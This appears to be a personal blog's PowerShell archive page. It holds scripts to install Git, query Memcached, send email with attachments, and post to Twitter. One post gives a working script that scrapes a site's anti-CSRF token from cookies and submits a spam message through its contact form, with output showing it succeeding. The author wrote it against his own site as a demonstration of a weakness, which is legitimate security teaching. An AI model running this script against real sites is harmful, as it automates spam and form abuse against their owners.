Archive

Archive for the ‘PowerShell’ Category

Install Git On Windows With PowerShell

May 4th, 2010

I like Git and here's a PowerShell script that I use to download and install Git on my Windows based development machines.

POWERSHELL:
  1. # Installs git for Windows via PowerShell
  2. #
  3. # Sample usage:
  4. #
  5. #  Install git:
  6. #    PS> install-git
  7. #
  8. # Adam Kahtava - http://adam.kahtava.com/ - MIT Licensed
  9.  
  10. function global:install-git {
  11.   install-file 'http://msysgit.googlecode.com/files/Git-1.6.4-preview20090730.exe'
  12. }
  13.  
  14. function global:install-file([string] $urlPath) {
  15.   $filename = download-file($urlPath)
  16.   invoke-item $filename
  17. }
  18.  
  19. function global:download-file([string] $urlPath) {
  20.   $urlSplit = $urlPath.split('/')
  21.   $filename = (Resolve-Path .).ToString() + '' + $urlSplit[$urlSplit.length - 1]
  22.   $webclient = New-Object "System.Net.WebClient"
  23.   $webclient.DownloadFile($urlPath, $filename)
  24.   return $filename
  25. }

Not familiar with Git? Then head over to the best online Git resource available.

You can find more of my PowerShell development scripts here.

Author: Adam Kahtava Categories: .NET, PowerShell Tags:

Memcached On PowerShell

March 9th, 2010

Memcached has been around for a while, but it's still pretty neat.

Experiencing a bottleneck with your Object Relational Mappers, Services, Middleware, Database, or whatever? Then Memcached it!

Memcached was intially developed for LiveJournal by Danga Interactive in 2003, and is used by many large sites (YouTube, Amazon, Twitter, to name a few). Today, you can find a Memcached library for all your favourite languages (here's the list).

Now; cache testing is tough period, and testing Memcached (which is accessed through a telnet client) is even more difficult - it's fair to mention that there are a large number of wrappers for Memcached outside the .NET world, but I couldn't find one for that met my needs.

Introducing Memcached on Powershell

Sample usage and output

Loading the script (source can be found here)

CODE:
  1. PS C:\> .\memcached-on-powershell.ps1

Checking Memcached stats on an empty instance

CODE:
  1. PS C:\> memcached-stats 127.0.0.1 11211
  2. Total items in cache:  0
  3. No slabs found

Checking Memcached stats after items have been added to the cache

CODE:
  1. PS C:\> memcached-stats 127.0.0.1 11211
  2. Total items in cache:  3
  3. Stats for Slab:  1
  4.          Key: 'resume-service:resume:adam-kahtava'
  5.          Key: 'open-source-service:github:adamdotcom'
  6.          Key: 'open-source-service:googlecode:adam.kahtava.com'

Clearing all Memcached items

CODE:
  1. PS C:\> clear-memcached-items 127.0.0.1 11211
  2. Total items in cache:  0

Checking Memcached stats on a cleared instance

CODE:
  1. PS C:\> memcached-stats 127.0.0.1 11211
  2. Total items in cache:  0
  3. Stats for Slab:  1
  4.          Empty

If your test obsessed then you might be interested in the Memcached tests.

As always feel free to contribute, view, or download the source here.

Author: Adam Kahtava Categories: .NET, PowerShell, Testing Tags:

Sending Email With Attachments In PowerShell

January 19th, 2010

Here's an example on how to send email with attachments via PowerShell:

POWERSHELL:
  1. # A Mailer script that makes use of System.Net to send email with attachments
  2. #
  3. # Sample usage:
  4. #  PS C:\> Send-Mail-With-Attachment 'email@domain.com' 'Hello world!' 'Filename.txt'
  5.  
  6. function global:Send-Mail-With-Attachment($to, $subject, $file){
  7.  
  8.   $filenameAndPath = (Resolve-Path .\$file).ToString()
  9.   $from = 'Automated Powershell Mailer'
  10.  
  11.   [void][Reflection.Assembly]::LoadWithPartialName('System.Net') | out-null
  12.  
  13.   $message = New-Object System.Net.Mail.MailMessage($from, $to, $subject, $subject)
  14.   $attachment = New-Object System.Net.Mail.Attachment($filenameAndPath, 'text/plain')
  15.   $message.Attachments.Add($attachment)
  16.  
  17.   $smtpClient = New-Object System.Net.Mail.SmtpClient
  18.   $smtpClient.host = 'mail.domain.com'
  19.   $smtpClient.Send($message)
  20. }

Contribute, view, or download the script here: Mailer.ps1

Author: Adam Kahtava Categories: .NET, PowerShell Tags:

Hacking Anti Cross-site Request Forgery Tokens (CSRF) With Powershell

December 16th, 2009

I ported the example of how to hack an Anti CRSF Token protected form - previously shown in my post What Are Anti Cross-site Request Forgery Tokens And What Are They Good For? - to PowerShell.

How to hack an Anti CRSF Token from PowerShell

POWERSHELL:
  1. function global:spam-adamdotcom(){
  2.  
  3.   # Load the assembly containing WebClientWithCookies and RegexUtilities
  4.   [Reflection.Assembly]::LoadFile((Resolve-Path "AdamDotCom.WebClientWithCookies.dll")) | out-null
  5.  
  6.   # Load the assembly containing System.Web.HttpUtilitiy
  7.   [void][Reflection.Assembly]::LoadWithPartialName("System.Web") | out-null 
  8.  
  9.   # create a new instance of the HTTP Web Client that supports cookies
  10.   $webClient = New-Object AdamDotCom.Common.Service.Utilities.WebClientWithCookies
  11.  
  12.   # download the page that contains the Anti CRSF Token
  13.   [void] $webClient.DownloadData("http://adam.kahtava.com/contact");
  14.  
  15.   # use a regular expression to grab the Anti CRSF Token
  16.   #  - this is an MVC site so we're looking for a token named "__RequestVerificationToken_Lw__"
  17.   $regex = "__RequestVerificationToken_Lw__=(?<CRSF_Token>[^;]+)"
  18.   $match = [regex]::matches($webClient.ResponseHeaders["Set-Cookie"], $regex)[0]
  19.   $antiCrsfToken = $match.Groups["CRSF_Token"].Captures[0].Value
  20.  
  21.   write-host "`nYour Anti CRSF Token is: " $antiCrsfToken
  22.  
  23.   # construct the message including the Anti CSRF Token
  24.   $message = "__RequestVerificationToken=" + [System.Web.HttpUtility]::UrlEncode($antiCrsfToken) +
  25.              "&amp;fromName=Johnathon Fink" +
  26.              "&amp;fromAddress=prancesw@rmcres.com" +
  27.              "&amp;subject=Call for your diploma now" +
  28.              "&amp;body=Is your lack of a degree..."
  29.  
  30.   # send spam-spam-spam
  31.   $webClient.Headers.Add("Content-Type", "application/x-www-form-urlencoded");
  32.   [void] $webClient.UploadData("http://adam.kahtava.com/contact/send", "POST",
  33.                               ([System.Text.Encoding]::UTF8.GetBytes($message)));
  34.  
  35.   write-host "`nSuccess!!! Your spam has been sent.`n"
  36. }

To run this script:

  1. Download the script
  2. Run PowerShell
  3. Load the script: .\Automated-AntiCSRF-Authentication-Script.ps1
  4. Start sending spam-spam-spam: PS > spam-adamdotcom

Here's the output as seen on my machine:

CODE:
  1. PS C:\> .\Automated-AntiCSRF-Authentication-Script.ps1
  2. PS C:\> spam-adamdotcom
  3.  
  4. Your Anti CRSF Token is:  f54ZlHS3L1Xyl65dYd1uYYh90ygNKYmCswXJUnr0GYtgcrJdJILsQ2jyFotzc10L
  5.  
  6. Success!!! Your spam has been sent.

This example uses a derivation of the .NET Framework's Web Client class but with Cookies enabled, so it depends on the AdamDotCom.Common.Service.dll assembly (browse the source here). This dependency can be automatically resolved by issuing the download-client function that's also found within the PowerShell script.

Contribute, view, or download the openly available script here: Automated-AntiCSRF-Authentication-Script.ps1

Author: Adam Kahtava Categories: .NET, ASP.NET MVC, PowerShell Tags:

Twitter on PowerShell

December 5th, 2008

Adam Geras originally wrote a script in PowerShell that saves all the Twitter posts for a specific user into a file (view Mr. Geras original post here).

I built on his script and extended it to:

  • Post messages to Twitter
  • Retrieve Twitter replies
  • View my Twitter friends conversations
  • Display the classic Twitter Fail Whale when an error occurs

Screen Shots

Sending a Twitter message:

Viewing my friends conversations:

The classic Twitter Fail Whale:

There's something beautiful about the classic green console on a black background - I think it's about being closer to the metal. :) What do you think?

Contribute, view, or download the openly available script here: Twitter on Powershell

Author: Adam Kahtava Categories: Open Source, PowerShell, Twitter Tags: